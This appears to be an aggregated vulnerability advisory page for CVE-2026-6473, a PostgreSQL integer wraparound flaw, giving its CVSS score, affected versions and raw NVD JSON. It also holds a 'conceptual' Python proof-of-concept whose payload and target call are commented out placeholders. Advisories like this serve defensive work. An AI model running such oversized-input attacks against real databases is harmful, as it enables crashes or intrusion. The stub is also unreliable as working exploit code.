Security Vulnerability Report
中文
CVE-2026-6473 CVSS 8.8 HIGH

CVE-2026-6473

Published: 2026-05-14 14:16:25
Last Modified: 2026-05-14 16:21:23
Source: f86ef6dc-4d3a-42ad-8f28-e6d5547a5007

Description

Integer wraparound in multiple PostgreSQL server features allows an unprivileged database user to cause the server to undersize an allocation and write out-of-bounds. This may execute arbitrary code as the operating system user running the database. In applications that pass gigabyte-scale user inputs to the relevant database functions, the application input provider may achieve a segmentation fault. Versions before PostgreSQL 18.4, 17.10, 16.14, 15.18, and 14.23 are affected.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

PostgreSQL < 18.4
PostgreSQL < 17.10
PostgreSQL < 16.14
PostgreSQL < 15.18
PostgreSQL < 14.23

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import psycopg2 # Conceptual Proof of Concept for CVE-2026-6473 # This script demonstrates the logic of sending gigabyte-scale input # to potentially trigger the integer wraparound vulnerability. def exploit_postgresql(target_host, db_user, db_pass, db_name): try: # Establish connection to the target database conn = psycopg2.connect( host=target_host, user=db_user, password=db_pass, dbname=db_name ) cursor = conn.cursor() # Simulate sending a massive payload (e.g., > 1GB) # The exact vulnerable function is abstracted here. # In a real scenario, this targets specific functions handling large inputs. print("[+] Generating massive payload to trigger integer wraparound...") # Note: Sending this much data may cause network issues before the bug is hit # but illustrates the data flow required. # payload = b"A" * (2**30 + 1) # 1GB + 1 byte # cursor.execute("SELECT vulnerable_function(%s)", (payload,)) print("[!] Payload logic generated. Exploit attempt would follow specific vulnerable function call.") except Exception as e: print(f"[-] Error: {e}") finally: if 'conn' in locals(): conn.close()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-6473", "sourceIdentifier": "f86ef6dc-4d3a-42ad-8f28-e6d5547a5007", "published": "2026-05-14T14:16:24.883", "lastModified": "2026-05-14T16:21:23.190", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Integer wraparound in multiple PostgreSQL server features allows an unprivileged database user to cause the server to undersize an allocation and write out-of-bounds. This may execute arbitrary code as the operating system user running the database. In applications that pass gigabyte-scale user inputs to the relevant database functions, the application input provider may achieve a segmentation fault. Versions before PostgreSQL 18.4, 17.10, 16.14, 15.18, and 14.23 are affected."}], "metrics": {"cvssMetricV31": [{"source": "f86ef6dc-4d3a-42ad-8f28-e6d5547a5007", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "f86ef6dc-4d3a-42ad-8f28-e6d5547a5007", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-190"}]}], "references": [{"url": "https://www.postgresql.org/support/security/CVE-2026-6473/", "source": "f86ef6dc-4d3a-42ad-8f28-e6d5547a5007"}]}}